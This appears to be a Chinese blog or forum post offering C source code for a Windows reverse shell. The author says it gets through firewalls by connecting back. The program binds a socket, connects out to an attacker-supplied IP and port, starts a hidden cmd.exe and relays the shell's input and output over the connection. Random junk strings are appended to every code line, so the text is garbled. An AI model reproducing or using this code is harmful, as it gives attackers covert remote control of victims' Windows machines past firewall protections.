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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  H.5 6  
7?.uAiM'zT  
/* ============================== ^<;W+dWdU  
Rebound port in Windows NT P1#g{f  
By wind,2006/7 5 jrR]X  
===============================*/ B=SA +{o  
#include JrP`u4f_  
#include pPReo)  
U/>I! 7oe  
#pragma comment(lib,"wsock32.lib") /[R=-s ;  
x]^d'o:cDP  
void OutputShell(); K\xz|Gq  
SOCKET sClient; @iz Onc:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p=+Y7NE)  
35h|?eN_m!  
void main(int argc,char **argv) &;Ncc,jb  
{ >,6  
WSADATA stWsaData; ,&[o:jTk  
int nRet; K1 f1 T  
SOCKADDR_IN stSaiClient,stSaiServer; vo/x`F'ib  
5i br1zs  
if(argc != 3) u`ir(JIj]  
{ h#1:ypA6l  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2> a&m>  
return; \VPw3  
} Z%~}*F}7X  
N"9^A^w8k  
WSAStartup(MAKEWORD(2,2),&stWsaData); It*U"4lgi  
Tzd#!Lvm:,  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C(>!?-.  
[REH*_  
stSaiClient.sin_family = AF_INET; >s<Bu'r  
stSaiClient.sin_port = htons(0); %[XP}L$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /#9P0@Y  
{OG1' m6=/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `;mgJD  
{ &Wy>t8DIK  
printf("Bind Socket Failed!\n"); R3g)LnN  
return; S @[]znH  
} O%%Q./oh  
fhi}x(  
stSaiServer.sin_family = AF_INET; 8P ]nO+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bI.hG32  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `yR/M"u6T  
!\b-Ot(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k;qS1[a  
{ kB+$Kt<]L  
printf("Connect Error!"); B9l~Y/3|  
return; 6TRLHL~B  
} 4{>r_^8  
OutputShell(); p$"~v A .  
} dPO"8HQ  
TY/'E#.  
void OutputShell() Q``1^E'  
{ X$xf@|<a  
char szBuff[1024]; kNP-+o  
SECURITY_ATTRIBUTES stSecurityAttributes; @Ez>?#z  
OSVERSIONINFO stOsversionInfo; <hzHrx'o{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H2iIBGu|L  
STARTUPINFO stStartupInfo; Zzlt^#KLx  
char *szShell; f (C:J[;Z  
PROCESS_INFORMATION stProcessInformation; :E{)yT  
unsigned long lBytesRead; \HxF?i "   
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a|TUH+|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~LI}   
stSecurityAttributes.lpSecurityDescriptor = 0; dkC_Sh{  
stSecurityAttributes.bInheritHandle = TRUE; &%v*%{|j  
/#5rt&q  
;{8 X+H  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ri"rT] '  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iwIn3R,  
5X8 i=M;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C{U*{0}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b+Sj\3fX  
stStartupInfo.wShowWindow = SW_HIDE; "[/W+&z[~  
stStartupInfo.hStdInput = hReadPipe; CUB;0J(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^?|4<Rm  
bv41et+Kb  
GetVersionEx(&stOsversionInfo); /?BTET  
0rX%z$D+@  
switch(stOsversionInfo.dwPlatformId) 2K3j3|T  
{ yC@PMyE]  
case 1: m5/]+xdNX  
szShell = "command.com"; },<Y \  
break; V(XU^}b#  
default: {Mo[C%  
szShell = "cmd.exe"; Nnn~7  
break; ?gu!P:lZS  
} f x:vhEX  
`?^<r%*F.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MF$Dx| Tcj  
8/B8yY-O  
send(sClient,szMsg,77,0); DZ`,QWuA  
while(1) + S5uxO  
{ i Ya)*,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A?-t`J  
if(lBytesRead) F" G+/c/L  
{ 8xj_)=(sV!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q-1vtbn  
send(sClient,szBuff,lBytesRead,0); n\7 >_  
} &~<i" W  
else X+;#^A3  
{ MB5V$toC  
lBytesRead=recv(sClient,szBuff,1024,0); *?Oh%.HgF  
if(lBytesRead<=0) break; A\"4[PXpQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xt@v"P2Ok  
} 'mv|6Y  
} :3se/4y}  
)+)qFGVz  
return; 0/fwAp  
}
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